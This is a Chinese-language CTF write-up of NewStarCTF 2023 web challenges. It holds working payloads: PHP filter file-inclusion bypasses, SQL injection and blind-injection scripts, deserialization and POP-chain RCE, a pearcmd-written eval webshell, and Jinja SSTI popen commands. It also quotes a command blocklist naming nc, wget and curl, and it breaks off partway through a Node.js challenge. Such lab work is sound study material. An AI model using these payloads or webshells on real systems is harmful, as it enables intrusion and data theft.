Writeup wp 2023-NewstarCTF-wp VVkladg0r 2024-05-13 2024-05-15 NEW STAR WEB week 2 游戏高手
很明显不可能直接手打100000分
第一次碰到游戏题完全不会做 想了一会 直接give up
查看wp 复现如下:
前端题 改javascript代码
f12后在样式编辑器中可以找到js文件 发现游戏结束代码 346
这段代码的意思是:当分数高于100000时,向api.php发送post请求,弹窗你的分数并返回一个消息
所以我们需要改javascript的变量值,将gameScore赋值大于100000
方法:
在我们需要修改的变量赋值语句之后,下断点(点击语句左侧的序号就能下断点),之后刷新页面(F5),重新载入页面
换到 “控制台” 标签页,设置要修改的变量的值,达到覆盖原值的目的,语句格式 “变量名=值”,gameScore=999999
上传后发现分数已经超了,自杀后,切回 “调试器” 标签页,变量值已被修改
出flag
include 0。0 <?php highlight_file (__FILE__ );$file = $_GET ['file' ];if (isset ($file ) && !preg_match ('/base|rot/i' ,$file )){ @include ($file ); }else { die ("nope" ); } ?> nope
禁用了base64与rot13
payload:
convert.iconv过滤器:
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php
将+AHs-和+AH0删掉替换成{},就是flag了
convert.iconv
: 这是libiconv
库的一个函数,用于字符编码转换。
utf-8.utf-7
: 这指定了要执行的转换。在这里,它试图将UTF-8编码转换为UTF-7编码。UTF-7并不是一个有效的或广泛使用的字符编码。
3.utf-8.utf-16le
:将数据从UTF-8编码转换为UTF-16LE编码
这种转换通常不是攻击者的真正目的,而是利用这个过滤器来造成PHP解析文件内容时的混乱,从而泄露文件内容。实际上,这个转换过程可能会导致PHP输出文件内容的Base64编码或其他形式的编码,而不是直接输出转换后的字符
同理:
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE/resource=flag.php
convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-2BE.UCS-2LE
: 这是一个字符编码转换过滤器,尝试将文件内容从UCS-2LE编码转换为UCS-2BE编码,然后再转换回UCS-2LE编码。这样的转换通常不是为了实际的编码转换,而是为了造成PHP解析文件时的混乱,从而尝试获取文件内容。
其他可能:
rot13: php://filter/string.rot13/resource=flag.php
base64: php://filter/read=convert.base64-encode/resource=flag.php
toupper(转换为大写): php://filter/string.toupper/resource=flag.php
tolower(转换为小写): php://filter/string.tolower/resource=flag.php
ez_sql
随便点开一个
发现url上有id的传参可能有注入点
另一个:
id不一样 应该是从这里来注入
%23:# %27:‘
union select查一下 回显no 应该是有waf
大小写绕一下 可以了
最开始的查表:
?id=1’Union sElect 1,2,3,4,(grOup_conCat(taBle_nAme) froM inforMation_schEma.taBles wHEre taBle_scheMa=dataBase())%23
懵了 无回显 看了一下 感觉没什么问题啊
看来下wp
?id=1’ uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23
为什么要加这个select 不太明白 以前做sql的题没遇见过啊 懵了 AI说这个select是不必要的 但是没有这个select有查不出来 服了 先放在这里吧 之后解决了在回来补上
加上select后
?id=1’Union sElect 1,2,3,4,(sElect grOup_conCat(taBle_nAme) froM informatiOn_schEma.taBles wHEre taBle_scheMa=dataBase())%23
又懵了 这应该大小写问题 但我是每个单词都改了大小写的 一个一个对发现是information的问题 只有infOrmation和infoRmation可以 这是什么逻辑?双标狗
查字段名:
?id=1’union select 1,2,3,4,((sElect grOup_cOncat(cOlumn_nAme) From infOrmation_schEma.coLumns whEre tAble_nAme=’here_is_flag’))%23
经典
?id=1’ uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns Where Table_name=’here_is_flag’)),2,3,4,5%23
不想管了
查值:
id=1’uNion Select 1,2,3,4,(sElect grOup_cOncat(flag) From ‘ here_is_flag’)%23
sqlmap也可以 但是我没做起 报了个什么错 没搞懂
payload: 别人的结果
sqlmap -u ‘http://http://9dfeb06c-8482-4b4b-b5a9-ed3625a7e087.node5.buuoj.cn:81/?id=1 ‘ -D ‘ctf’ -T ‘here_is_flag’ -C ‘flag’ –dump
sqlmap简单使用:
1、检测「注入点」
sqlmap -u ‘http://xx/?id=1 ‘ 1 2、查看所有「数据库」
sqlmap -u ‘http://xx/?id=1 ‘ –dbs 1 3、查看当前使用的数据库
sqlmap -u ‘http://xx/?id=1 ‘ –current-db 1 4、查看「数据表」
sqlmap -u ‘http://xx/?id=1 ‘ -D ‘security’ –tables 1 5、查看「字段」
sqlmap -u ‘http://xx/?id=1 ‘ -D ‘security’ -T ‘users’ –tables 1 6、查看「数据」
sqlmap -u ‘http://xx/?id=1 ‘ -D ‘security’ -T ‘users’ –dump
post、UA等上的注入方法:
Unserialize? <?php highlight_file (__FILE__ );class evil { private $cmd ; public function __destruct ( ) { if (!preg_match ("/cat|tac|more|tail|base/i" , $this ->cmd)){ @system ($this ->cmd); } } } @unserialize ($_POST ['unser' ]); ?>
很多反序列化的知识已经忘了 过年的时候把笔记补上
__destruct()这是在对象被销毁时自动调用
对象生命周期结束:当一个对象的生命周期结束时,例如脚本执行结束或对象不再被引用时,PHP 的垃圾回收机制会自动销毁该对象,并触发 __destruct()
方法。
对象被显式销毁:可以使用 unset()
函数显式销毁一个对象,这将触发 __destruct()
复现如下:
<?php class evil { private $cmd =('ls -al' ); } $a =new evil ();echo serialize ($a );?>
但是PHP 序列化的时候 private和 protected 变量会引入不可见字符%00,private是%00类名%00属性名 ,protected为%00*%00属性名
两个白空格就是
url编码后O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22***%00evil %00***cmd%22%3Bs%3A6%3A%22ls+-al%22%3B%7D
因为是private,序列化出来后会有%00属性导致无法完全复制去burp,而且传参里也不能有空格,应该用%20或者‘+’链接因为最后使用post传参可以识别url编码,所以把空格处替换为%20
O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:6:”ls%20-al”;}
直接查根目录 linux中查询根目录下文件的命令为ls / 在上面的代码中将ls -al 改为ls /
O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:4:”ls%20/“;}
发现flag文件
禁用了cat|tac|more|tail|base
还可以用 head nl uniq
uniq /th1s_1s_fffflllll4444aaaggggg
nl /th1s_1s_fffflllll4444aaaggggg
head /th1s_1s_fffflllll4444aaaggggg
直接序列化
O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:35:”head%20/th1s_1s_fffflllll4444aaaggggg”;}
O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:33:”nl%20/th1s_1s_fffflllll4444aaaggggg”;}
O:4:”evil”:1:{s:9:”%00evil%00cmd”;s:35:”uniq%20/th1s_1s_fffflllll4444aaaggggg”;}
也可以再url编码 echo urlencode(serialize($a)); 这样就可以不加%00
O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22head+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D
但是直接这样也不行 要把命令中的加号替换为%20或者空格
即:
O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22head***%20***%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D
其他的同理即可
Upload again!
真挺讨厌文件上传的
.htaccess
.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
总之就是告诉服务器将 .jpg
后缀的文件解析为 PHP 脚本
AddType application/x-httpd-php .jpg
将jpg用php解析
常见配置:
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg
Sethandler application/x-httpd-php Sethandler 将该目录及子目录的所有文件均映射为php文件类型。 Addhandler 使用 php5-script 处理器来解析所匹配到的文件。 AddType 将特定扩展名文件映射为php文件类型。
先传配置文件 .htaccess 可以
再传图片马
?我传个没马的也给我过滤了?懵了 换了张图片也是这样 give up
这个应该是传了.htaccess后 再传图片马 然后蚁剑连接 根目录上找flag
找了wp就是这样
本来文件上传和蚁剑就是我的弱项 你还给我整这出
它过滤了<? 只要有<?就会被认为是php 所以要用javascript写来绕过<?
ok 这个上传上去了 不是用的图片马 而是直接改的后缀
好好好 终于进来了
GGGGGGet
R!!C!!E!!
上来就是一个下马威 应该要整点信息泄露
git泄露 被禁了
githack下来
bo0g1pop.php中有
<?php highlight_file (__FILE__ );if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $_GET ['star' ])) { if (!preg_match ('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i' ,$_GET ['star' ])){ eval ($_GET ['star' ]); } }
严格等于分号 懵了
确实是没见过
if (‘;’ === preg_replace(‘/[^\W]+((?R)?)/‘, ‘’, $_GET[‘star’]))这是一个非常典型的无参数rce题
这里的正则表达式 [^\W]+((?R)?) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数 。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的 。
无参数rce可能用到的函数:
目录操作: getchwd() :函数返回当前工作目录。 scandir() :函数返回指定目录中的文件和目录的数组。 dirname() :函数返回路径中的目录部分。 chdir() :函数改变当前的目录。 数组相关的操作: end() - 将内部指针指向数组中的最后一个元素,并输出。 next() - 将内部指针指向数组中的下一个元素,并输出。 prev() - 将内部指针指向数组中的上一个元素,并输出。 reset() - 将内部指针指向数组中的第一个元素,并输出。 each() - 返回当前元素的键名和键值,并将内部指针向前移动。 array_shift() - 删除数组中第一个元素,并返回被删除元素的值。 array_reverse() -逆转数组 array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。 array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1), array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完 成后,就可以根据随机的键获取数组的随机值。 array_flip()和array_rand()配合使用可随机返回当前目录下的文件名 读文件 show_source() - 对文件进行语法高亮显示。 readfile() - 输出一个文件。 highlight_file() - 对文件进行语法高亮显示。 file_get_contents() - 把整个文件读入一个字符串中。 readgzfile() - 可用于读取非 gzip 格式的文件 关键函数: getenv() :获取环境变量的值 php7.0以下返回bool(false) php7.0以上正常回显 payload: ?code=var_dump(getenv()); ?code=var_dump(getenv(phpinfo())); getallheaders():获取所有 HTTP 请求标头,是apache_request_headers()的别名函 数,但是该函数只能在Apache环境下使用 payload: 1) GET /1.php?code=eval(end(getallheaders())); HTTP/1.1 ..... flag: system('id'); 2) GET /1.php?exp=eval(end(apache_request_headers())); HTTP/1.1 .... flag: system('id'); php7以上 get_defined_vars():返回由所有已定义变量所组成的数组,会返回$_GET ,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序为get- >post->cookie->files current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也 就是会返回$_GET变量的数组值 payload: 1) code=eval(end(current(get_defined_vars()))); &flag=system('ls'); 利用全局变量进RCE 2)flag=system('id');&code=eval(pos(pos(get_defined_vars()))); pos() 函数返回数组中的当前元素的值。 该函数是 current() 函数的别名。 session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id() session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符 串(””) scandir() 文件读取
太复杂了 没咋看懂 遇到题再来练吧
法1:
用array_flip()和array_rand()
?star=eval(array_rand(array_flip(getallheaders())));
cat flag
法2:
用array_reverse()和pos
?star=eval(pos(array_reverse(getallheaders())));
还必须要用X-Forwarder-Proto: ?
cat flag
直接cat /f*也可以
week3 Include 🍐 <?php error_reporting (0 ); if (isset ($_GET ['file' ])) { $file = $_GET ['file' ]; if (preg_match ('/flag|log|session|filter|input|data/i' , $file )) { die ('hacker!' ); } include ($file .".php" ); } else { highlight_file (__FILE__ ); } ?>
还有file协议可以用
?file=file:///var/www/html/phpinfo
?file=phpinfo
这是啥啊
所以呢 虽然我感觉在哪里见过这个register_argc_argv
结合题目 应该要用pear文件
直接构造payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php
把<?=@eval($_POST[0]);?>
写入了cmd.php
?file=/tmp/cmd post:0=system("cat /flag");
懵了
试下
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php
终于好了
flag{866ff3b3-4cd3-459a-ae7b-a008460ccb6b}
你猜是为什么会这样 明明我传到没问题 但是没实现命令
直接url中get传参会把<这些字符自动编码,就成功不了,所以用burp抓包再改回来,这个特别重要 我就是这里改少了 导致后边做不了
它会把?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php 改为?+config-create+/&file=/usr/local/lib/php/pearcmd&/%3C?=@eval($_POST[0]);?%3E+/tmp/cmd.php
要改回来 然后就行了
medium_sql
和上次那个很像
还是id
sqlmap跑不出来显示无参数可注入
sql盲注脚本
import requestsimport timeurl = "http://1e69aee3-11f1-4a55-b4a2-8545b1633f65.node5.buuoj.cn:81//?id=TMP0919'AND " result = '' i = 0 while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = f'Ascii(Substr((Select flag from here_is_flag),{i} ,1))>{mid} --+' r = requests.get(url + payload) if "points" in r.text: head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result) time.sleep(1 ) 首先,导入了requests库,该库用于发送HTTP请求并获取响应。 然后,定义了一个URL变量,用于存储要爬取的网页地址。 接下来,初始化了一个空字符串result和一个计数器i。 进入一个无限循环,在每次迭代中: 计数器i递增1 ,表示尝试获取下一个字符。 设置一个范围head和tail,分别代表可能的ASCII码值的范围(这里设置为32 到126 )。 使用二分查找算法在范围内找到中间值mid。 构造一个payload字符串,其中包含当前计数器的值和中间ASCII码值。 发送GET请求到目标URL,并将payload附加到URL后。将响应保存在变量r中。 检查响应文本中是否包含"points" 关键字,如果存在,则将搜索范围缩小为[mid+1 , tail];否则,将搜索范围缩小为[head, mid]。 如果找到了目标字符(即head不等于32 ),将其添加到结果字符串result中。 如果未找到目标字符,跳出无限循环。 打印结果字符串。 为了降低爬取速度,添加了暂停1 秒的语句(time.sleep(1 ))
在week2的基础上,多过滤了union。
是布尔盲注
两个脚本都可以
flag{4549e50b-b8fe-423a-9d5c-9fcda9f82115}
POP Gadget <?php highlight_file (__FILE__ );class Begin { public $name ; public function __destruct ( ) { if (preg_match ("/[a-zA-Z0-9]/" ,$this ->name)){ echo "Hello" ; }else { echo "Welcome to NewStarCTF 2023!" ; } } } class Then { private $func ; public function __toString ( ) { ($this ->func)(); return "Good Job!" ; } } class Handle { protected $obj ; public function __call ($func , $vars ) { $this ->obj->end (); } } class Super { protected $obj ; public function __invoke ( ) { $this ->obj->getStr (); } public function end ( ) { die ("==GAME OVER==" ); } } class CTF { public $handle ; public function end ( ) { unset ($this ->handle->log); } } class WhiteGod { public $func ; public $var ; public function __unset ($var ) { ($this ->func)($this ->var ); } } @unserialize ($_POST ['pop' ]);
Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
pop链:
<?php class Begin{ public $name; public function __destruct() { } } class Then{ private $func; public function __construct() { $s=new Super(); $this->func=$s; } public function __toString(){ ($this->func)();//这里把Super当函数调用,实际触发了Super()里面的__invoke方法 return "Good Job!"; } } class Handle{ protected $obj; public function __construct() { $this->obj=new CTF();//实例化CTF()后给这里的obj赋值 } public function __call($func, $vars) { $this->obj->end();//调用了CTF()里的end()方法 } } class Super{ protected $obj; public function __construct() { $this->obj=new Handle();//为protected $obj赋值 } public function __invoke() { $this->obj->getStr();//Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 handle里的__call() 魔术方法 } public function end() { die("==GAME OVER=="); } } class CTF{ public $handle; public function __construct() { $w=new WhiteGod(); $this->handle=$w; } public function end() { unset($this->handle->log);//在这个end()方法中我们试图用unset()删除WhiteGod()里面的log属性 } } class WhiteGod{ public $func='system'; public $var="cat /flag"; public function __unset($var) { ($this->func)($this->var); } } $b=new Begin(); $b->name=new Then(); echo urlencode(serialize($b));
需要注意的是一些类中有保护或私有属性的成员,因此需要对序列化数据进行URL编码
需要特别注意的是在执行 unset($this->handle->log) 时,会尝试调用 $this->handle 对象的 __unset() 魔术方法。该方法将使用属性 $this->func 的值作为可调用函数,并将属性 $this->var 的值作为参数来执行。 因此,在 WhiteGod 类中调用 unset($this->handle->log) 将实际上执行 ($this->func)($this->var),相当于执行 system('ls /'),即执行系统命令 ls / 整体来说是: __destruct() 中,由于 $name 包含一个 Then 对象,会触发 __toString() 魔术方法。在 __toString() 方法中,首先调用 $this->func 属性指向的对象(即 Super 对象),接下来进入 Super 类,由于该类含有一个 __invoke() 魔术方法,因此在调用 Super 对象时会触发 __invoke() 方法。在 __invoke() 方法中,又会调用 $this->obj->getStr() 方法,并进入 Handle 类中。 由于 Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 __call() 魔术方法。在 __call() 方法中,将会调用 $this->obj->end() 方法,并触发 CTF 类中的 end() 方法。 在 CTF 类的 end() 方法中,我们会调用 unset($this->handle->log),从而触发 WhiteGod 类的 __unset() 魔术方法。在 __unset() 方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。
得到payload:
pop=O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A10%3A%22%00Then%00func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A8%3A%22readfile%22%3Bs%3A3%3A%22var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7D%7D%7D%7D
其实我觉得我应该重学一下反序列化漏洞 忘得太多了 太不熟练了
过年那周重学一下吧
R!!!C!!!E!!! <?php highlight_file (__FILE__ );class minipop { public $code ; public $qwejaskdjnlka ; public function __toString ( ) { if (!preg_match ('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i' , $this ->code)){ exec ($this ->code); } return "alright" ; } public function __destruct ( ) { echo $this ->qwejaskdjnlka; } } if (isset ($_POST ['payload' ])){ unserialize ($_POST ['payload' ]); }
tee
命令用于从标准输入读取数据,并将其写入一个或多个文件 tee的作用是把查询到的根目录写入到当前网页下的某文件 再次访问该文件即可得到被打印的根目录
tee
通常后面会跟着要写入的文件名
script a:script
是一个Unix/Linux命令,用于记录终端会话。当你运行 script
命令时,它会开始记录你在终端中的所有活动,直到你停止它。a
是 script
命令的一个选项,表示将输出追加到一个文件中,而不是覆盖它。如果文件不存在,它会被创建;如果文件已经存在,新的输出会被追加到文件的末尾。
Shell是一个通用术语,指的是用户与操作系统内核之间的交互界面。它是一个命令解释器,允许用户通过键盘输入命令来与操作系统进行交互。Shell提供了一种执行命令、控制进程、文件操作等的途径,可以是交互式的也可以是脚本式的。
Bash是一种Unix Shell,是Bourne Again SHell的缩写。它是Bourne Shell的增强版本,在功能上扩展了Bourne Shell,同时兼容POSIX标准。Bash支持命令行编辑、命令历史、条件测试、循环结构等高级特性,使得脚本编写更加方便。
简单来说,Shell是一个广义的概念,Bash是Shell的一种具体实现。
所以 用ls / | t’’ee b的方法进行查看
也可以用ls / |script a 跟ls / | t’’ee b作用是一样的
<?php class minipop { public $code ="ls / | t''ee b" ; public $qwejaskdjnlka ; } $a =new minipop (); $b = new minipop (); $b ->qwejaskdjnlka=$a ; echo serialize ($b ); ?>
结果O:7:”minipop”:2:{s:4:”code”;s:14:”ls / | t’’ee b”;s:13:”qwejaskdjnlka”;O:7:”minipop”:2:{s:4:”code”;s:14:”ls / | t’’ee b”;s:13:”qwejaskdjnlka”;N;}}
访问文件b 访问a
发现flag所在文件
直接cat /flag_is_h3eeere
<?php class minipop { public $code ="cat /flag_is_h3eeere|t''ee b" ; public $qwejaskdjnlka ; } $a =new minipop (); $b = new minipop (); $b ->qwejaskdjnlka=$a ; echo serialize ($b ); ?>
结果
O:7:”minipop”:2:{s:4:”code”;s:28:”cat /flag_is_h3eeere|t’’ee b”;s:13:”qwejaskdjnlka”;O:7:”minipop”:2:{s:4:”code”;s:28:”cat /flag_is_h3eeere|t’’ee b”;s:13:”qwejaskdjnlka”;N;}}
再查看文件b或a
官方说这考点本来应该是bash盲注 没太看懂
Bash盲注是一种针对Bash shell的注入攻击,攻击者尝试利用Bash的某些特性来执行恶意命令或获取敏感信息。
在Bash中,用户输入的命令会被解析和执行。攻击者可能会尝试利用Bash的输入验证不严格、命令替换等特性,注入恶意代码,导致意外的行为或泄露敏感信息
这道题脚本
import timeimport requestsurl = "http://bcdad1a5-6014-4594-a8b5-c4c03f581147.node4.buuoj.cn:81/" result = "" for i in range (1 ,15 ): for j in range (1 ,50 ): for k in range (32 ,127 ): k=chr (k) payload =f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j} ` == '{k} ' ];then sleep 2;fi" length=len (payload) payload2 ={ "payload" : 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}' .format (length,payload) } t1=time.time() r=requests.post(url=url,data=payload2) t2=time.time() if t2-t1 >1.5 : result+=k print (result) result += " "
其他base盲注脚本
import requestsimport time as tfrom urllib.parse import quote as urlenurl = 'http://2505541e-7bbc-4055-b36b-00c8454b850e.challenge.ctf.show/?F=`$F%20`;' alphabet = ['{' ,'}' , '.' , '@' , '-' ,'_' ,'=' ,'a' ,'b' ,'c' ,'d' ,'e' ,'f' ,'j' ,'h' ,'i' ,'g' ,'k' ,'l' ,'m' ,'n' ,'o' ,'p' ,'q' ,'r' ,'s' ,'t' ,'u' ,'v' ,'w' ,'x' ,'y' ,'z' ,'A' ,'B' ,'C' ,'D' ,'E' ,'F' ,'G' ,'H' ,'I' ,'J' ,'K' ,'L' ,'M' ,'N' ,'O' ,'P' ,'Q' ,'R' ,'S' ,'T' ,'U' ,'V' ,'W' ,'X' ,'Y' ,'Z' ,'0' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ] result = '' for i in range (1 ,50 ): for char in alphabet: payload = "if [ `cat flag.php | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi" .format (i,char) try : start = int (t.time()) r = requests.get(url+payload) end = int (t.time()) - start if end >= 3 : result += char print ("Flag: " +result) break except Exception as e: print (e)
其实对base盲注还是不太明白 QAQ
解释:
Bash盲注 截取比较 参考 https://www.cnblogs.com/kiko2014551511/p/11531558.html
cat /flag | cut -c (截取第几位)
${string:start:length} 从字符串左边开始计数
string为要截取的字符串,start是起始位置(从左边开始,从0开始计数),length是要截取的长度(省略的话表示直到字符串的末尾)
${string:0-start:length} 从右边开始计数 同从左边开始计数相比,这种格式仅仅多了0-,这是固定的写法,专门用来标识从字符串右边开始计数
注意点:
从左边开始计数时,起始数字是0; 从右边开始计数时,起始数字是1 不管从哪边计数,截取方向都是从左到右
延时 sleep 5
只找到这一篇解释 懵逼
GenShin
f12 在网络中发现奇怪的地方
发现secr3tofpop 可能是个文件
查一下
让我们get传一个name
传admin 回显admin
可能是ssti
传{%print(7*7)%}
回显49 是ssti
查看config 看看key 没有,那考点应该不是爆破 查看一下子类
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()%}
找os模块
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}
找到eval
不能使用system函数
eval(__import__('os').popen('ls /').read()) 所以发现flag之后也是一样的改为__import__('os').popen('cat /flag').read()
然后对它进行chr编码
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}
flag{44f974fa-5970-49dd-aba8-4b9bdf9c5bdf}
也可以用get_flashed_message()
get_flashed_messages()
是一个在 Flask web 框架中用于处理 flash 消息的函数。Flash 消息是一种在用户进行表单提交后显示的临时消息,通常用于通知用户关于表单提交的结果。
例如,如果你有一个表单,用户提交后你可能想要显示一个消息告诉他们表单已成功提交或出现了一些错误。Flash 消息就是用来实现这个目的的。
{% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read()) %}
OtenkiGirl JavaScript 原型链污染
还有这个网站的源码
有回显
bp抓包
发现多了一个timestamp 时间戳
时间戳(Timestamp)通常表示某一时刻或事件发生的确切时间,这个时间通常以某种固定的格式被记录下来,以便于后续的处理、比较或排序。
一共发了五个包
其中向info发了时间戳
进一步尝试发现 不管发什么都会向info发时间戳
所以看看源码 info到底是干什么的
先看看基础的app.js
const env = global .env = (process.env .NODE_ENV || "production" ).trim ();const isEnvDev = global .isEnvDev = env === "development" ;const devOnly = (fn ) => isEnvDev ? (typeof fn === "function" ? fn () : fn) : undefined const CONFIG = require ("./config" ), DEFAULT_CONFIG = require ("./config.default" );const PORT = CONFIG .server_port || DEFAULT_CONFIG .server_port ;const path = require ("path" );const Koa = require ("koa" );const bodyParser = require ("koa-bodyparser" );const app = new Koa ();app.use (require ('koa-static' )(path.join (__dirname, './static' ))); devOnly (_ => require ("./webpack.proxies.dev" ).forEach (p => app.use (p)));app.use (bodyParser ({ onerror : function (err, ctx ) { if (err.status === 400 && err.name === 'SyntaxError' && ctx.request .type === 'application/json' ) { ctx.request .body = {} } else { throw err; } } })); [ "info" , "submit" ].forEach (p => { p = require ("./routes/" + p); app.use (p.routes ()).use (p.allowedMethods ()) }); app.listen (PORT , () => { console .info (`Server is running at port ${PORT} ...` ); }) module .exports = app;分析: 这段代码是一个基于 Node .js 和 Koa 框架的 web 服务器应用程序。下面是这段代码的详细解释: 环境变量设置 通过 process.env .NODE_ENV 获取环境变量,如果不存在则默认为 "production" 。 判断当前环境是否为开发环境,并设置到全局变量 isEnvDev 中。 devOnly 函数用于只在开发环境中执行特定操作。 配置加载 加载配置文件 config.js 和默认配置文件 config.default .js 。如果 config.js 中没有指定 server_port,则使用 config.default .js 中的 server_port。 导入模块和初始化应用 导入路径处理模块 path、Koa 框架 koa、以及 Koa 的 body 解析中间件 koa-bodyparser。 初始化一个新的 Koa 应用实例。 中间件设置 使用 koa-static 中间件为静态资源提供服务,静态资源目录为 ./static 。 在开发环境中,加载并执行 webpack.proxies .dev .js 中定义的所有中间件。 使用 koa-bodyparser 中间件解析请求体。如果请求体是无效的 JSON ,则将请求体设置为空对象。 路由加载 加载并执行 ./routes/info.js 和 ./routes/submit.js 中定义的路由。 启动服务器 监听指定的端口,并在控制台输出服务器运行状态。 导出应用实例 将 Koa 应用实例导出,以便在其他模块中使用。 这个应用程序的主要功能是提供一个 web 服务器,用于处理客户端的请求,并根据请求的 URL 和方法调用相应的路由处理函数。同时,它还提供了静态资源服务,可以直接访问存放在 ./static 目录中的文件。在开发环境中,它还支持通过 webpack.proxies .dev .js 配置的中间件进行额外的处理,例如代理请求到另一个服务器。
这段代码定义了一些变量
主要是引用了info和submit的路由 并且这两个路由都在routes这个文件夹下
先看info.js
const Router = require ("koa-router" );const router = new Router ();const SQL = require ("./sql" );const sql = new SQL ("wishes" );const CONFIG = require ("../config" )const DEFAULT_CONFIG = require ("../config.default" )async function getInfo (timestamp ) { timestamp = typeof timestamp === "number" ? timestamp : Date .now (); let minTimestamp = new Date (CONFIG .min_public_time || DEFAULT_CONFIG .min_public_time ).getTime (); timestamp = Math .max (timestamp, minTimestamp); const data = await sql.all (`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?` , [timestamp]).catch (e => { throw e }); return data; } router.post ("/info/:ts?" , async (ctx) => { if (ctx.header ["content-type" ] !== "application/x-www-form-urlencoded" ) return ctx.body = { status : "error" , msg : "Content-Type must be application/x-www-form-urlencoded" } if (typeof ctx.params .ts === "undefined" ) ctx.params .ts = 0 const timestamp = /^[0-9]+$/ .test (ctx.params .ts || "" ) ? Number (ctx.params .ts ) : ctx.params .ts ; if (typeof timestamp !== "number" ) return ctx.body = { status : "error" , msg : "Invalid parameter ts" } try { const data = await getInfo (timestamp).catch (e => { throw e }); ctx.body = { status : "success" , data : data } } catch (e) { console .error (e); return ctx.body = { status : "error" , msg : "Internal Server Error" } } }) module .exports = router;
主要看getInfo这个函数 它接收了timestamp
这段代码是一个异步函数,它接受一个参数 timestamp
,并从数据库中查询特定时间戳之后的所有信息。下面是这段代码的逐行解释:
async function getInfo(timestamp) {
: 定义一个异步函数 getInfo
,它接受一个参数 timestamp
。
